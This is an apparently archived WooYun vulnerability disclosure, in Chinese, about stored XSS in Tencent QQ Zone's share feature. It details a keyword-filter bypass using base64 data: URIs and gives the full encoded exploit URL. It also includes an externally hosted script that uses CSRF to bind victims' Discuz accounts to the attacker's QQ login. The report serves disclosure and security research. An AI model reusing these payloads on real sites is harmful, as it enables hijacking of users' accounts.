缺陷编号:WooYun-2015-0128752
漏洞标题:利用QQ空间存储型XSS漏洞配合CSRF漏洞劫持用户其他网站帐号(敏感标签403拦截可绕过\403 bypass)
相关厂商:腾讯
漏洞作者:q601333824
提交时间:2015-07-24 10:09
公开时间:2015-10-22 15:52
漏洞类型:XSS跨站脚本攻击
危害等级:中
自评Rank:8
漏洞状态:厂商已经确认
Tags标签:
2015-07-24: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开
1.本测试全部来自fuzz测试(全部根据返回内容判断,如有判断错误,见谅)
2.XSS输出点没有进行过滤,但是如果输入敏感的标签关键字,服务器会返回403错误.但是实际上并不严格3.别人说标题长big也大一点
(已经补充利用方式)
1.QQ空间分享网页的时候,其中?url这个参数没有对双引号进行过滤,如图①.
②.
2.这个参数虽然没有进行过滤,但是只要输入一些触发事件的标签,就会提示403,然后页面一片空白,比如我输入,然后会变成这样无法访问,如图
1 |
"><scrpt/src="https://1111">< |
3.如果输入一些正常标签,没有触发JS脚本的话.就不会拦截,测试的代码有<img/src="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/1"/onerror="alert(/111/)">------------→拦截<img/src="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/1">------------→没有拦截<script/src="https://11">------------→拦截<scr/src="https://11">------------→不拦截<iframe/src="https://11">------------→拦截<if/src="https://11">------------→不拦截<a/href="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/">----拦截4.下面测试了很多,就列出来这些,从这些上面,可以看出来,是根据关键字进行拦截5.但是测试到 <a/href="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/data:text/html;base64,XXXXXX">的时候,会分成两种情况①.第一种情况,这个编码输出的<br>:<a/href="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/data:text/html;base64,data:text/html;base64,PGJyPg==">aaa</a> --------------→ 不拦截
② 第二种情况,这个编码输出的<img/src="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/1"/onerror="alert(/1/)">:<a href="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/data:text/html;base64,PGltZy9zcmM9IjEiL29uZXJyb3I9ImFsZXJ0KC8xLykiPg==">aaa</a> -------------→拦截
6.这个时候脑洞开一下,如果把第一种情况,和第二种情况结合一下,<br>可以通过,如果<br>的编码,带着<img/src="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/1"/onerror="alert(/1/)">的编码,是不是可以也能通过403???于是下面测试了一下
1 |
<br><img/src="http://www.secevery.com:4321/bugs/wooyun-2015-0128752/1"/onerror="alert(/1/)"> |
↓(编码)
1 |
PGJyPjxpbWcvc3JjPSIxIi9vbmVycm9yPSJhbGVydCgvMS8pIj4= |
↓(把最后的等于号编码了,因为url那里不能存在等于号)
1 |
PGJyPjxpbWcvc3JjPSIxIi9vbmVycm9yPSJhbGVydCgvMS8pIj4%3d |
7.然而并没有拦截
8.提交一下试试,查看空间代码
9.然后点击之后,弹一下窗口试一下
10.查看来源,证明是从QQ空间弹出来
-----------------------------------------------------------------------------------11.但是这个太小了,一般很难让人点到,可以加一个CSS样式,把XSS点,放大,如图,已经通过CSS样式,把XSS点放大,鼠标随便移到哪里都能看见连接,红字标记
---------------------------------------------------------------------------------------12.然后审核的人说,需要利用方式,于是我一直在想,想到了昨天提交的漏洞,还没有修复http://**.**.**.**/bugs/wooyun-2015-012768113.这个漏洞我提交的时候说过,那个登录连接从别的网站,点击跳转会提示403,但是从QQ聊天窗口和QQ空间,本地跳转不会拦截,然后看这张图
14.虽然这个XSS不在**.**.**.**域内,但是你看,referer是qq空间的,说明可以打开登录连接,也就是说,上个漏洞在这次的漏洞可以进行利用了-------------------------------------------------------------------------------------------------15.以下测试的利用图1.先构造代码
1 |
<br><script/src="http://**.**.**.**/1.js"></script> |
↓(Base64编码+url编码)2.
1 |
PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b |
↓3.得到了分享网页的连接,然后发表到空间,直接嵌入到空间个人中心状态了
1 |
http://sns.qzone.**.**.**.**/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2F**.**.**.**%2F%23%22%3E%3Ca/href%3d%22data:text/html;base64,PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b%22style%3d%22left:0px;top:%200px;%20width:%20100%25;%20height:%20100%25;%20position:%20fixed;%22&title=%E5%BE%88%E4%B9%85%E5%BE%88%E4%B9%85%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6&desc=&summary=&site= |
4.其中http://**.**.**.**/1.js里面的代码是
1 2 3 4 5 6 7 |
window.onload=function aa(){<br> window.open("xxxxxxxxxxxxxxx")<br> };//这里填写自己登录连接,为了让别人的电脑登录自己的帐号<br> function bb(){<br> var e=document.createElement('iframe');e.setAttribute('src','http://**.**.**.**/connect.php?mod=login&op=init&type=loginbind&referer=home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp');document.body.appendChild(e);<br> };<br> setTimeout("bb()",2000)//延迟2秒,打开Discuz社区的绑定连接 |
5.上面的代码合起来利用方式就是,把XSS点在空间个人状态放大,铺满整个屏幕,然后当用户进他自己个人中心看状态的时候肯定会点鼠标,然后XSS执行了,先window.open,打开实现设置好的我的登录连接,再延迟两秒,创建iframe,打开Discuz社区绑定的QQ帐号的连接,然后就没然后...........................--------------------------------------------------------------------------------------------6.测试图片1.可以看见CSS把XSS点放大到全屏,随便点都能中
2.当用户在空间一通瞎点的时候,XSS触发了,先打开我的登录连接,然后开始倒计时绑定帐号了,噢噢噢噢噢噢噢.666666
1.漏洞证明看上面2.先访问这个连接,分享一个网页
1 |
<code>http://**.**.**.**/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2F**.**.**.**%2F%23%22%3E%3Ca/href%3d%22data:text/html;base64,PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b%22style%3d%22left:0px;top:%200px;%20width:%20100%25;%20height:%20100%25;%20position:%20fixed;%22&title=%E5%BE%88%E4%B9%85%E5%BE%88%E4%B9%85%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6&desc=&summary=&site= |
3.其中http://**.**.**.**/1.js加载的内容是<code
1 2 3 4 5 6 7 |
window.onload=function aa(){<br> window.open("xxxxxxxxxxxxxxx")<br> };//这里填写自己登录连接,为了让别人的电脑登录自己的帐号<br> function bb(){<br> var e=document.createElement('iframe');e.setAttribute('src','http://**.**.**.**/connect.php?mod=login&op=init&type=loginbind&referer=home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp');document.body.appendChild(e);<br> };<br> setTimeout("bb()",2000)//延迟2秒,打开Discuz社区的绑定连接 |
1.过滤2.403拦截恶意代码并不是那么严谨啊3.上次的漏洞还存在被利用的风险4,如果知道对方经常看哪个网站,那个网站又没有绑定连接的验证,我就可以实现设置好连接,他进自己个人中心的时候我就在那等着了.......
危害等级:中
漏洞Rank:8
确认时间:2015-07-24 15:51
非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
暂无
啊哈哈 终于审核啦 会不会下雨
我就知道空间有XSS,被插了几次了,艹
@随随意意 哈哈
666
666
@HackBraid 别6了,标题档,虽然XSS是QQ空间的,但是触发是在QQ域外,只能利用CSRF了
<script>alert("6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666")</script>
辣么酷炫~
坐等忽悠悠悠悠……
啧啧啧,某些人自重,别一加好友,上来一句话就是,“你的漏洞给我看下,说不定和我以前的一样”,我不傻了要是给你看了,说不定就在别的平台出现了。(虽然不知道是谁,自重,有时间问,不如对打几把英雄联盟,出去看看外面的风景,才发现20投如此简单)
洞主这性格。。。我真TM欣赏
玩的真溜!
原文连接
的情况下转载,若非则不得使用我方内容。